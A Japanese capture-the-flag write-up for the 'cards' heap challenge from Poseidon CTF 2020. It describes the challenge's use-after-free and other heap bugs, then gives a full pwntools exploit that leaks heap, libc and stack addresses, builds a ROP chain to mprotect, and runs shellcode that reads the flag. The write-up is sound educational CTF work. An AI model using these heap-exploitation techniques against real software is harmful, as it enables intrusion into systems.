イントロ
いつぞや行われたPoseidon CTF 2020。
libc2.32 問があったのでそれだけ解いた。 pwn 問 card。 結局あまり関係なかった。
猫も可愛いけどやっぱり犬が可愛いですよね どっちになりたいかって言われたら猫ですけど、どっちが可愛いかって言われたら犬です どっちがよりカイワレ大根かって言われたらカーテンですけど、どっちがアバンギャルドかって言われたらモスバーガーです
問題概要
libc2.32
+ セキュリティ機構 FULL + stripped:
1$ file ./cards
2./cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4bd480bc1c4df9d0b3d2bdd5287c1ea4b95aa794, stripped
3 Arch: amd64-64-little
4 RELRO: Full RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: PIE enabled
以下に示すseccomp
があり、且つprctl(PR_NO_NEW_PRIV)
がセットされていた:
1 0000: 0x20 0x00 0x00 0x00000004 A = arch
2 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
3 0002: 0x06 0x00 0x00 0x00000000 return KILL
4 0003: 0x20 0x00 0x00 0x00000000 A = sys_number
5 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
6 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
7 0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
8 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
9 0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
10 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
11 0010: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0012
12 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
13 0012: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0014
14 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
15 0014: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0016
16 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
17 0016: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0018
18 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
19 0018: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0020
20 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
21 0020: 0x06 0x00 0x00 0x00000000 return KILL
カードの add
/edit
/free
/view
ができる。
なんか隠しコマンド 6
があったが使わなかった。
Vulns - heapbase の leak まで
edit
時に free したかどうかのチェックがないため UAF(write) (view
/free
はフラグをチェックするため不可)- free するときの順番が逆
- NULL 終端がない
- バッファ(
chunk
)を初期化していない - 消去したノートのアドレスを NULL クリアしていない
edit
においてnote
構造体のサイズ情報ではなく他で保存した情報を用いている(note
構造体中のsize
を変えられれば overflow)- 実際に確保したノート数+1 に対して
free
/edit
/view
ができる
結局使ったのは1つ目と 2 つ目と 3 つ目と 4 つ目と 5 つ目の脆弱性のみ
まず、登場する chunk には 3 種類あって、ノートの情報を保持する構造体note
と、
ノートに格納する名前に関する構造体target_note
と、
実際に名前を格納するname
がある。
この内note
はtarget_note
へのポインタを、
target_note
はname
へのポインタを保持している。
malloc の際にはこの順に確保される。
だがfree
時にもこの順番でfree
してしまっている。
これはnote
を free した後でnote->target_note
を dereference することになり十分脆弱性であると言える
(今回はこの事実は使用していないが)。
この順番でfree
をした後再びmalloc
をすると、
かつてnote
だった chunk はname
になり、逆も然りである。
よって、name
を読むことでかつてnote
として保持していたtarget_note
へのポインタを leak することができる。
AAW/AAR
上述した嘗て note であったname
チャンクを UAF で用いることで、target_note
ポインタを leak するだけでなく上書きして AAW に使うこともできる。
この際、edit
にはnote
構造体内の特定のフラグが立っている必要があるため忘れずに非ゼロで overwrite しておく。
view
自体は他の flag によって管理しているため、それだけでは UAF の read はできない。
だが、AAW を持っている今、他のnote
のtarget_note
ポインタを書き換えてやることで未だ free されていないnote
から AAR を達成できる。
libcbase leak
AAW+AAR ができるため、適当にsize
を書き換えてfree
を行い unsorted を生成して libcbase を leak する。
StackAddr leak
AAW+AAR+libcbase leaked の状態のため、environ
を読んで stackaddr を leak する
ROP to mprotect
edit
によってedit()
関数の return addr を書き換え、ROP に持ち込む。
この ROP の大きさは0xFF
に限られているため、一度 heap をmprotect
で RWX にしてシェルコードを置くことにする。
shellcode to open/read flag
はい
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./cards"
8LIBCNAME = "./libc-2.32.so"
9
10hosts = ("poseidonchalls.westeurope.cloudapp.azure.com","localhost","localhost")
11ports = (9004,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22def hoge(idx):
23 c.recvuntil("Choice: ")
24 c.sendline(str(idx))
25
26def _add(size, color, name):
27 if len(color) > 7:
28 raw_input("[-] color size too long: "+hex(len(color)))
29 exit()
30 hoge(1)
31 c.recvuntil("card: ")
32 c.send(str(size))
33 c.recvuntil("color: ")
34 c.send(color)
35 c.recvuntil("name: ")
36 c.send(name)
37
38def _remove(idx):
39 hoge(2)
40 c.recvuntil("card: ")
41 c.sendline(str(idx))
42
43def _edit(idx, name):
44 hoge(3)
45 c.recvuntil("card: ")
46 c.send(str(idx))
47 c.recvuntil("name: ")
48 c.send(name)
49
50def _view(idx):
51 hoge(4)
52 c.recvuntil("card: ")
53 c.sendline(str(idx))
54
55# 謎の隠しコマンド
56def _secret(name):
57 hoge(6)
58 c.recvuntil("name: ")
59 c.send(name)
60
61# house of io ?
62def decrypt(Pd):
63 L = Pd >> 36
64 for i in range(3):
65 temp = (Pd >> (36-(i+1)*8)) & 0xff
66 element = ((L>>4) ^ temp) & 0xff
67 L = (L<<8) + element
68 print("L : "+hex(L))
69
70## exploit ###########################################
71
72def exploit():
73 global c
74 flag_path = "/home/challenge/flag\x00"
75
76 shellcode = b""
77 shellcode += asm("mov rdi, 0x0000000067616c66") # /home/challenge/flag
78 shellcode += asm("push rdi")
79 shellcode += asm("mov rdi, 0x2f65676e656c6c61")
80 shellcode += asm("push rdi")
81 shellcode += asm("mov rdi, 0x68632f656d6f682f")
82 shellcode += asm("push rdi")
83
84 shellcode += asm("mov rdi, rsp")
85 shellcode += asm("mov rax, 2")
86 shellcode += asm("mov rdx, 0")
87 shellcode += asm("mov rsi, 0")
88 shellcode += asm("syscall")
89
90 shellcode += asm("mov rdi, rax")
91 shellcode += asm("mov rcx, rsp") # バッファ
92 shellcode += asm("mov rsi, rcx")
93 shellcode += asm("mov rdx, 0x80")
94 shellcode += asm("mov rax, 0")
95 shellcode += asm("syscall")
96
97 shellcode += asm("mov rdi, 1")
98 shellcode += asm("mov rsi, rsp")
99 shellcode += asm("mov rdx, 0x80")
100 shellcode += asm("mov rax, 1")
101 shellcode += asm("syscall")
102
103
104 print("shellcode len: "+hex(len(shellcode)))
105
106 _add(0x20, "red", "A"*0x10) # 0x20である必要(struct noteと同じ)
107 _remove(0)
108
109 # leak heapbase
110 _add(0x20, "A", "A"*0x10)
111 _view(1)
112 c.recvuntil("A"*0x10)
113 leaked01 = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
114 print("[+] leaked: "+hex(leaked01))
115 heapbase = leaked01 - 0x40
116 print("[+] heapbase: "+hex(heapbase))
117
118 # overwrite 0's flag
119 _edit(1, p64(0xdeadbeefcafebabe)*3 + p64(1))
120
121 _add(0xf8, "B"*0x4, flag_path) # 2
122 _add(0xf8, "D"*0x4, "/bin/sh\x00") # 3
123 _add(0xf8, "F"*0x4, flag_path) # 4
124 _add(0xf8, "H"*0x4, p64(0x31)*(0xf8/8)) # 5 こいつがつじつま合わせに必要 0x450のfake chunkのnext
125 _add(0xf8, "J"*0x4, shellcode) # 6
126
127 _edit(1, p64(heapbase + 0xf0 + 8) + p64(0xdeadbeefcafebabe) + p64(heapbase)) # これでnote->target==heapbaseとなり、note->target->name==目標のchunkになる
128 _edit(0, p64(0x451)) # fake size of name of 2(maybe)
129
130 _remove(2) # fake size == 0x451 unsorted生成
131
132
133 # libcbase leak
134 _add(0x60, "X", "Y") #7
135 _view(7)
136 c.recvuntil("Y")
137 leaked02 = (unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))) * 0x100 - 0x400
138 print("[+] leaked: "+hex(leaked02))
139 libcbase = leaked02 - 0x3b6c00
140 print("[+] libcbase: "+hex(libcbase))
141 free_hook = libcbase + 0x3b8e80
142 system = libcbase + 0x43930
143 print("[+] free_hook: "+hex(free_hook))
144
145
146 # note4のname_ptrをenvironへ: stack leak
147 _edit(1, p64(heapbase + 0x3a0) + p64(0xdeadbeefcafebabe) + p64(heapbase))
148 _edit(0,p64(libcbase + libc.symbols["environ"]))
149 _view(4)
150 c.recvuntil("name: ")
151 environ = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
152 print("[+] environ: "+hex(environ))
153 stack_ra = environ - 0x100
154 print("[+] RA addr of main stack: "+hex(stack_ra))
155
156
157 # EDITのstackのRA書き換え
158 _edit(1, p64(heapbase + 0x680 - 0x20) + p64(0xdeadbeefcafebabe) + p64(heapbase))
159 _edit(0, p64(stack_ra - 0x78 + 8))
160
161 pop_rdi = 0x0002201c
162 pop_rsi = 0x0002c626
163 pop_rdx = 0x00001b9e
164 shell_mem = heapbase + 0x680 # note6
165 protected_mem = heapbase & 0xfffffffffffff000
166
167 rop = b""
168 rop += p64(libcbase + pop_rdi)
169 rop += p64(protected_mem)
170 rop += p64(libcbase + pop_rsi)
171 rop += p64(0x3000)
172 rop += p64(libcbase + pop_rdx)
173 rop += p64(0x7)
174 rop += p64(libcbase + libc.symbols["mprotect"])
175 rop += p64(shell_mem)
176
177 _edit(6, rop)
178 return
179
180
181
182## main ##############################################
183
184if __name__ == "__main__":
185 global c
186
187 if len(sys.argv)>1:
188 if sys.argv[1][0]=="d":
189 cmd = """
190 set follow-fork-mode parent
191 """
192 c = gdb.debug(FILENAME,cmd)
193 elif sys.argv[1][0]=="r":
194 c = remote(rhp1["host"],rhp1["port"])
195 elif sys.argv[1][0]=="v":
196 c = remote(rhp3["host"],rhp3["port"])
197 else:
198 c = remote(rhp2['host'],rhp2['port'])
199 exploit()
200 c.interactive()
アウトロ
歳を取りたくなさすぎて泣いています。